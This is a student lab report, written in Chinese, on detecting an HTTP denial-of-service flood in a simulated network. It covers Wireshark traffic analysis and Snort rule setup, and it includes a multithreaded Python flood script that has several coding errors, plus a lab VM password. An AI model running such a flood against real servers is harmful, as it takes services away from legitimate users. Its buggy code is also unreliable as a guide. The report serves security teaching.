实验1:拒绝服务攻击检测

1. 实验目的

点击查看         拒绝服务攻击检测实验使学生贯通编程技术、计算机网络、网络安全等知识, 完成自主设计拒绝服务攻击场景、开发网络攻击程序、使用工具分析和检测网络 攻击等实验内容,理解和掌握资源消耗型拒绝服务攻击的原理和过程、攻击流量 分析、攻击检测等知识,实现对“网络攻击-安全分析-检测告警”的综合能力培 养和实践训练。并使学生能够举一反三,掌握网络攻击检测的通用方法和流程, 为后续的网络安全知识学习打下坚实基础。

2. 实验内容

点击查看
  1. 理解拒绝服务攻击导致的资源消耗原理和危害,自主设计构建网络攻击场景。
  2. 开发和执行拒绝服务攻击程序,并从网络用户端对比存在和不存在网络 攻击两种场景下访问网络应用的情况。
  3. 使用网络流量分析工具 Wireshark 等观察、分析和总结拒绝服务攻击流 量特征。
  4. 使用网络流量分析工具 Wireshark 等观察、分析和总结拒绝服务攻击流 量特征。

3. 实验原理

点击查看

3.1 拒绝服务攻击原理

        拒绝服务攻击是针对网络应用有限数量的服务能力,发起大规模的网络服务的请求,耗尽网络应用能够提供的服务计算资源等,使网络应用无法对正常用户的请求进行服务,实现拒绝服务。

3.2 拒绝服务攻击流量特征分析

        通过网络流量捕获工具捕获与网络应用服务器交互的网络流量,对请求服务和响应的网络应用协议网络流量进行分析,查找网络应用无法为网络用户提供服务的原因。观察每个独立的网络应用请求,都是正常的建立连接、请求网络服务操作过程。但是能够观察到来自于同一个源地址的网络服务请求的数量多、单位时间内的请求频率高,超过了单个网络用户访问网络应用服务的正常表现。这种异常的大量、高频度访问行为可作为拒绝服务攻击流量的特征。

3.3 基于流量频率特征的拒绝服务攻击检测

        由于拒绝服务攻击具有大量、高频度访问的异常行为特征,将对网络应用的高频请求作为拒绝服务攻击的检测识别特征,配置到入侵检测工具的攻击检测和告警规则中,对网络流量进行检测,实现对拒绝服务攻击的识别和报警。

4. 实验注意事项

点击查看
  1. 在编写生成拒绝服务攻击请求的程序时,需要注意配置的并发线程数量等参数,将会影响单位时间内产生的网络攻击流量强度,以及拒绝服务攻击的效果。
  2. 需要正确配置网络环境以及交换机流量镜像,否则入侵检测系统无法捕获到攻击流量。
  3. 需要遵循入侵检测规则的格式规范,配置能够反映拒绝服务攻击特征的检 测告警规则,否则不会产生告警信息。

5. 实验要求

点击查看
  1. 完成开发拒绝服务攻击程序、攻击流量分析、攻击检测等实验内容。
  2. 提交拒绝服务攻击程序代码、可加载运行的相关工程文件。
  3. 提交实验报告,包括:拒绝服务攻击环境设计、网络攻击程序概要设计、存在网络攻击时访问网络应用的结果和分析、攻击流量分析和特征说明、配置的攻击检测特征和检测告警结果,以及实验中遇到的问题和原因等。

6. 实验过程

步骤 1:构建拒绝服务攻击场景

  1. 访问https://vse.bupt.edu.cn登录网络安全虚拟仿真系统。

  2. 创建拒绝服务攻击网络拓扑。选择“实例管理-创建实例拓扑”,通过拖拽方式在场景中构建 Web 拒绝服务攻击者、网络用户、Web 服务器、交换机、入侵检测等设备,通过绘制连接线完成设备之间的网络互联。需要右键设置设备的具体信息,攻击者、网络用户和Web服务器均可选择Win10_DoS_WebAttacker模板,入侵检测设备网络配置中需要将交换机设为目标节点

  3. 保存网络拓扑后进行部署。

步骤 2:网络用户访问网络应用服务

  1. 在节点详情中远程连接作为用户的虚拟机,输入Planet9Secret密码登录系统。打开浏览器输入服务器主机的节点IP进行访问,可以成功访问。

  2. 任务管理器观察CPU的使用情况。

步骤3:开发拒绝服务攻击程序

        在拒绝服务攻击者端开发多线程攻击流量生成程序,实现并发产生高强度的 网络应用服务请求,并将被攻击的网络应用服务器节点 IP、并发线程数量作为 程序的输入参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import os
import threading
import signal
import time
from optparse import OptionParser
from socket import *

CC_PORT = 80
get_str = 'GET / HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nContent-Lenth:0\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWeKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36\r\nConnect:Close\r\n\r\n'

class RunCC(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
while True:
cc_web()

def cc_web():
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect((options.target, CC_PORT))
tcpCliSock.send(get_str % (options.target))

def ctrl_c(signalnum, frame):
print("Dos Procedure End")
os.exit(0)

def main():
parser = OptionParser()
parser.add_option("-t", "--target", action="store", dest="target", default=False, type="string", help="test target")
parser.add_option("-x", "--threadum", action="store", dest="threadum", default=250, type="int", help="thread number")
global options
(options, args) = parser.parse_args()
if options.target and options.threadnum:
print("Dos Procedure Start: CC_IP = %s, Threadnum = %s"%(options.target, CC_PORT, options.threadnum))
else:
print("Not right, CC_IP = %s"%option.target)
return
signal.signal(signal.SIGINT, ctrl_c)
signal.signal(signal.SIGTERM, ctrl_c)

CC_Dict = {}
for threadseq in range(options.threadnum):
CC_Dirt["Thread_%s"%threadseq] = RunCC()

for k,v in CC_Dict.items():
v.start()

for k,v in CC_Dict.items():
v.join()

if __name__ == '__main__':
main()

步骤4:实施拒绝服务攻击

        在拒绝服务攻击者端开发多线程攻击流量生成程序,实现并发产生高强度的 网络应用服务请求,并将被攻击的网络应用服务器节点 IP、并发线程数量作为 程序的输入参数。在攻击者端打开终端运行python文件。

步骤5:对比查看拒绝服务攻击效果

  1. 用户端重启/刷新浏览器,发现之前可访问的服务器页面报错。

  2. 登录服务器端查看CPU状态。

  3. 同时也可以观察攻击者的CPU状态,可以看出攻击端为发起Dos攻击需要消耗大量计算机计算资源。

步骤6:捕获网络流量

        在入侵检测端使用网络流量捕获工具 Wireshark 等,捕获交换机镜像的包含拒绝服务攻击的网络流量。

  1. 进入入侵检测端使用网络流量捕获工具Wireshark,选择入侵检测的结点IP网卡,并开始进行抓包。

  2. 可以看到有大量的从攻击者11.93.150.6发送到11.93.150.7的TCP报文。因为之前入侵检测检测没有更改为监测模式,所以重做了一遍,与上面ip不一样了。

步骤7:配置检测规则

  1. 进入/etc/snort/rules目录,根据上述抓包内容的归纳对Dos-Web.rules文件进行编写。

  2. 打开snorf.conf进行配置,将Dos-Web.rules地址写入。

步骤8:启动snort进行检测

  1. 启动snort。

  2. 检测完后进入Snort的默认日志存储目录进行查看。

7. 实验中出现的问题、原因和解决

  1. Wireshark抓包时发现全是arp、ssdp协议,没有应出现的tcp协议。最终发现是在部署入侵检测时没有将管理状态改为监测状态,只好重新部署开始。
  2. 在snort -I eth0 -c snort.conf命令启动完snort后,不知道怎么捕获和查看日志。后来在查阅snort介绍时发现,在启动完snort后,直接会对eth0接口的流量进行检测,然后输出到默认的目录var/log/snort中,后面只需要在命令行中打开该目录使用命令vi alert即可查看该日志。

8.实验总结

        通过这次实验了解了原理既简单又攻击十分有针对性的Dos攻击,简单学习了Snort的使用,其在人工规定规则后起到的检测功能确实非常的灵敏智能,但是当面对仍然是很多公司不能完全应对的DDos攻击时,针对消息五元组中存在改变量的情况将会变得棘手,在面对人和机器速度不匹配的情况,人工的添加规则变得不切实际,也许需要使用到机器学习、AI自动识别规定规则才能起到更好的检测与管理防范作用。